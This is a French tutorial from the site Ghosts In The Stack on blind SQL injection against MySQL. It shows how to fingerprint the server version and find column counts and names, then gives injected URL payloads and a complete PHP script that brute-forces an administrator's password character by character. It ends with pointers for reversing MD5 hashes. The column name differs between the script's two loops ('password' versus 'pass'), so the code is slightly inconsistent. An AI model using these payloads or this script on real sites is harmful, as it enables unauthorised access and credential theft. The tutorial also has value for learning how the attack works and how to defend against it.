Blind SQL Injections

Ghosts In The Stack
http://www.ghostsinthestack.org

TranceFusion

Résumé

Les Blind SQL Injections, ou "injections SQL à l'aveuglette" font partie des techniques avancées d'injections SQL. On les utilise dans le cas de scripts à réponse binaire, c'est à dire qui retournent une réponse du type soit vrai, soit faux. C'est le cas par exemple des formulaires d'authentification. Ce type de script n'affiche pas le résultat d'une injection mais indique simplement s'il y a erreur ou succès, d'où la difficulté apparente d'exploitation. C'est pourquoi il faut dans la plupart des cas utilsier la méthode de la force brute, mais de manière relativement intelligente, permettant de gagner un temps énorme. Nous verrons ici comment, à parir d'une simple faille d'injections SQL, il est possible de récupérer des informations très importantes pour une attaquant potentiel, tels que le nombre de champs d'une table, leur type, leur nom, le nom des tables, la version du serveur etc. Nous finirons par la réalisation d'un exploit permettant de récupérer le mot de passe d'un membre.

Table des matières

1 Récupération de la version du serveur **2**

2 Récupération du nombre de champs, leur nom, leur type **2**

3 Construction d'un exploit **3**

Introduction

Pour ne répéter que ce qui est dit dans le résumé, nous allons nous intéresser aux injections SQL en aveugle. Ici, pas question d'afficher directement les informations, puisque la nature même du script ne le permet pas, vu qu'il retourne seulement deux types de réponse. Maglré cette difficulté supplémentaire, nous allons voir comment procéder, en utilisant au maximum le langage SQL ainsi que tout ce qu'il met à disposition.

ATTENTION toutefois : les injections SQL dépendent en général du type de serveur sur lequel vous les testez. Ici, pour simplifier, nous prendrons le cas de MySQL. Plus tard, nous verrons comment détecter le type de serveur sur lequel nous sommes : le SQL fingerprinting.

Avertissement : cet article necessite la lecture préalable du premier[1] qui introduit les injections SQL. Je ne vais donc donner que les grandes lignes. Il est tout a fait possible que les injections à réaliser en pratique nécessitent par exemple de mettre un début de commentaire (/*) juste après afin d'éliminer des parties parasistes de la reqiête originale. Tout dépend de la configuration dans laquelle vous vous trouvez.

[1] `article-8-les-bases-des-injections-sql.html`

1 Récupération de la version du serveur

Connaître le numéro de la version du serveur est une étape fondamentale et quasiment obligatoire. En effet, selon ce numéro, certaines instucttions ne seront pas disponibles. C'est le cas d'UNION, disponible uniquement à partir des versions 4 de MySQL. A travers cet exemple nous poserons les principes de base ce qui nous permettra d'accélérer par la suite.

Le but est donc de récupérer la version du serveur, qui est contenue dans la variable @@version. Un exemple :

```
SELECT @@version;
4.1.9-max
```

Maintenant, plaçons nous dans le cadre d'une attaque aveugle. Le but va être, en utilisant des essais successifs, de trouver cette version sans avoir aucun affichage. Ici, nous nous contenterons de la version "majeure", c'est à dire 4 ; c'est celle qui importe le plus. Nous devons trouver une condition binaire permettant de nous rensigner. Testons :

```
SELECT * FROM table WHERE champ = 'a' OR @@version > 3;

(ici on obtient soit une erreur soit un affichage normal)
```

En bleu, la requête originale et en vert ce que l'on a rentré. Si l'on a obtenu uen erreur, c'est que la version du serveur est inférieure à 3, sinon elle est supérieure. Testons avec 4 !

```
SELECT * FROM table WHERE champ = 'a' OR @@version > 4;

(ici on obtient soit une erreur soit un affichage normal)
```

Vous avez compris le principe... Dès qu'une erreur survient, c'est que la version est entre les deux derniers numéros testés.

Si jamais nous avions voulu obtenir la version complète, il aurait fallu utiliser SUBSTRING comme ceci :

```
SELECT * FROM table WHERE champ = 'a' OR SUBSTRING(@@version,1,3) = 4.1;
```

Nous reviendrons sur SUBSTRING après, mais sachez qu'elle permet d'obtenir une sous-chaîne d'une chaîne.

2 Récupération du nombre de champs, leur nom, leur type

Maintenant, l'objectf va être de "faire parler" le serveur afin qu'il nous donne des informations intéressentes.

Si nous voulons découvrir le nom des tables ou des champs, il peut être intéressent d'utilsier UNION afin de décupler la puissance de nos requêtes. Mais pour utiliser UNION, la version du serveur MySQL doit être supérieure ou égale à 4. Vous savez comment faire pour la récupérer, maintenant.

Deuxième condition pour utiliser UNION : il faut que les tables que l'on croise (que l'on unit) aient exactement le même nombre de champs. Troisième et dernière condition : ces champs doivent avoir le même type.

A partir de cela, on comprend que nous allons devoir obtenir d'une part le nombre des champs et d'autre part leurs type.

Pour récupérer le nombre de champs, c'est assez simple. On peut utiliser l'opérateur GROUP BY qui permet de regrouper les enregistrements retournés par le script. Même s'il n'y en a qu'un, cela est un critère permettant de trouver le nombre de champs et même leur noms. En effet, GROUP BY peut s'utiliser soit avec le nom du champ, dans ce cas il générera une erreur si le nom est incorrect ; soit avec le numéro du champ. Notez que l'opérateur ORDER BY a uns syntaxe similaire mais un comportement différent, puisqu'il permet de tier les enregistrements. Un exemple pour comprendre :

```
SELECT id, champ1 FROM table WHERE id = '$id_existant' GROUP BY id;
retourne vrai
SELECT id, champ1 FROM table WHERE id = '$id_non_existant' GROUP BY id;

retourne faux
SELECT id, champ1 FROM table WHERE id = '$id_existant' GROUP BY $test;
retourne faux ou erreur (si $test n'est pas un champ)
SELECT id, champ1 FROM table WHERE id = '$id_non_existant' GROUP BY champ1;
retourne vrai
SELECT id, champ1 FROM table WHERE id = '$id_non_existant' GROUP BY 1;
retourne vrai => il y a au moins un champ
SELECT id, champ1 FROM table WHERE id = '$id_non_existant' GROUP BY 2;
retourne vrai => il y a au moins deux champs

SELECT id, champ1 FROM table WHERE id = '$id_non_existant' GROUP BY 3;
retourne faux => on sait donc qu'il y a deux champs
```

Il faut bien entendu remplacer les variables précédées d'un '$' par ce que vous voulez tester. On remarque que si le nombre après GROUP BY est supérieur au nombre de champs dans la requête, cela renvoit faux (plante, en fait). On peut donc maintenant voir le nombre de champs.

Pour tester leur noms, il suffit de mettre le nom à tester derrière GROUP BY. Par contre, ici, on ne pourra pas procéder par essais successifs lettre par lettre car on ne peut pas appliquer SUBSTRING sur le nom du champ lui-même, uniquement sur son contenu. Il faut donc utiliser la **force brute** pure et dure ce qui peut prendre du temps. Mais souvent, on peut se limiter à essayer "id", "login", "date", "auteur", "password", etc. c'est à dire des noms probables pour des champs.

Concernant le type des champs, on peut insérer différents types de contenus comme du texte (le plus souvent entre guillemets) pour tester si le champ est censé contenir du texte ou nom. Le gros problème de cette technique ets que bien souvent les guillemets sont échappées par les magic_quotes ou une fonction lamda de filtrage du site. Il faut donc utiliser tout ce que nous propose MySQL dans la rubrique "chaînes de caractères". Je pense notemment à la fonction char(ascii) qui retourne un caractère en fonction de son code ascii, et évite d'utiliser les moindres guillemets. La fonction concat(str1, str2, ... concatène des caractères ou des sous-chaînes pour former une chaîne. Pour plus d'infos, je vous ramène à la doc officielle (citée tout en bas).

3 Construction d'un exploit

A présent, passons à la pratique. Imaginons un script tout bete vulnérable à une injection SQL. Lorsque nous l'appelons avec l'URL `http://site.com/script.php?id=1`, il fonctionne et affiche ce qui suit. (Au passage, je remercie Geo pour l'idée du script car je manquais d'inspiration :))

```
admin aime les poissons
```

Si on change id en mettant 2 on obtient :

```
modo aime les pâtes
```

En mettant 3 on obtient :

```
 aime les
```

Et si l'on met un caractère comme 'a' on obtient une erreur du style :

```
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource
in ... on line ...

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource
in ... on line ...
```

Bien, le script est apparamment vulnérable. Il doit être censé afficher la correspondance entre deux champs d'une table qui semblent être un utilisateur et ce qu'il aime. La requête doit être du type :

```
SELECT * FROM table WHERE id = $id
```

Mais nous, nous voulons leur mot de passe ! Comment l'obtenir ?

En fait, ici, nous avons le choix. Nous avons en effet deux solutions pour exploiter la faille. La première et peut-être la plus immédiate est d'effectuer une injection SQL à l'aveuglette, qui consiste à découvrir le mot de passe petit à petit. Mais il est également possible d'exploiter la faille avec une injection SQL classique qui permettra d'obtenir le mot de passe en un coup. Cette solution peut utiliser les mots-clés UNION et ORDER BY de MySQL. Pourquoi donc a-t-on le choix ? Tout simplement parce qu'ici, le script *affiche* le résultat de la requête, donc si l'on parvient à détourner la requête on pourra *afficher* ce qu'il nous plait. Si le script avait juste fait une *vérification* sur le contenu de la base sans l'afficher, la deuxième solution n'aurait pas été possible. Comme le thème de cet article est l'exploitation en aveugle, voyons donc cette première solution.

Il faut déja obtenir le nom du champ correspondant. Là, pas de secret, il faut y aller en bruteforcant. On teste "pass", "password", "motdepasse", etc. Et con croise les doigts :). Pour la suite, on considérera que le champ s'appelle "pass".

La technique utilisée ici va être de modifier la clause WHERE de la requête. Si la requête plante, la clause est fausse, sinon elle est vraie. Nous allons donc construire un bruteforceur... "intelligent". En effet, nous n'allons sûrement pas tester tous les mots de passe possibles, mais utiliser le fait qu'il y a une faille, et s'en servir :p. Nous allons tout d'abord récupérer la longueur du pass de l'admin. Puis nous testerons carcatère par caractère en utilisant la fonction SUBSTRING() de MySQL qui permet d'isoler une sous-chaîne ou caractère d'une chaîne.

Pour trouver la longueur, on appelle le script comme ceci :

```
http://site.com/script.php?id=1 and length(pass)=$i
```

En faisant varier $i, on trouvera la longueur du pass assez rapidement. Dès que la page affichera "admin aime les poissons", cela voudra dire que la longueur sera égale à $i. Les adeptes de l'optimisation peuvent utiliser la dichotomie avec les opérateurs > et < pour accélérer la recherche.

Une fois que l'on a la longueur, on utilise l'astuce de SUBSTRING en appelant le script de cette façon :

```
http://site.com/script.php?id=1 and substring(pass,$i,1)=char($code)"
```

Cette fois ci, on fait varier $i pour se déplacer dans le mot de passe et bruteforcer le $ieme caractère, et on fait varier $code qui est le code ascii à tester pour ce $ieme caractère. Encore une fois, dès que "admin aime les poissons" apparait, c'est bon. On obtient le mot de passe final quand $i atteint la longueur du mot de passe trouvé précédemment.

Voici un script qui réalise le travail en PHP. (Je sais, ce n'est pas terrible comme langage pour ce type d'exploit, je compte le refaire en Perl :))

```
<?
//On désactive la limite des 30sec d'exécution du script
set_time_limit(0);

//L'URL standard à exploiter
$url="http://site.com/script.php?id=1";

/* Bruteforce de la longueur du pass */

$max = 40; //La longueur maxi qu'on s'autorise
$longueur = 0;
echo "Bruteforce de la longueur du mot de passe en cours...<br />";
for($i = 1; $i<$max; $i++){

   //On ouvre l'URL
   $fp = fopen($url . urlencode(" and length(password)=$i"),"r");
   $buf = "";

   //On lit le résultat
   while(!feof($fp))
   {
      $buf .= fgets($fp);
   }
   //Si on trouve "admin" sur la page
   if(preg_match("/admin/",$buf)) {
      echo "La longueur du pass est : $i <br />";
      $longueur = $i;
      break;
   }

}
if($longueur == 0) die("Longueur non trouvée");


/* Bruteforce du pass */
```

```
$pass = "";
$i = 1;

//Plage des caractères ASCII à balayer
$borne_inf = 48;
$borne_sup = 123;

//Initialisation
$code = $borne_inf;

while($i <= $longueur){

   if($code == $borne_sup + 1) $code = $borne_inf;

   //On ouvre l'URL
   $fp = fopen($url.urlencode(" and substring(pass,$i,1)=char($code)"),"r");
   $ligne = "";

   //On lit et on teste
   while(!feof($fp))
   {
      $ligne .= fgets($fp);
   }
   if(preg_match("/admin/",$ligne)) {
      //Une lettre à été trouvée !
      echo "$i eme lettre trouvée : ".chr($code)." <br />";
      $pass .= chr($code);

      //On passe au caractère suivant
      $i++;
      $code = $borne_inf;
   }
   $code++;
}
echo "Pass final : $pass <br />";
?>
```

Au bout de quelques minutes on obtient le pass... le plus souvent en crypté, si l'admin a été intelligent. Mais le decryptage ne fait pas partie de cet article... à vous de vous armer des outils adéquats, d'une bonne wordlist... et de patience :). Si c'est du MD5, allez faire un tour sur Wikipédia à l'article MD5, le bas de page est bien fourni en liens vers des petits tools qui "inversent" les hashs MD5 à l'aide de tables.

Références

- Blind SQL Injection[2]
- Article de The Hackademy sur les injections[3]
- IT Security by girls - un blog très instructif sur la sécurité en général[4]

[2] http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
[3] http://www.thehackademy.net/article.php?story_id=95\&section_id=57
[4] http://teh-win.blogspot.com/

- SQL Injections White Paper[5]
- SQL Injections[6]
- Liste de liens sur les injections[7]
- Fonctions MySQL sur les chaînes de caractères[8]
- Article MD5 sur Wikipedia[9]

[5] http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
[6] http://www.unixwiz.net/techtips/sql-injection.html
[7] http://www.cgisecurity.com/development/sql.shtml
[8] http://dev.mysql.com/doc/refman/5.0/en/string-functions.html
[9] http://fr.wikipedia.org/wiki/MD5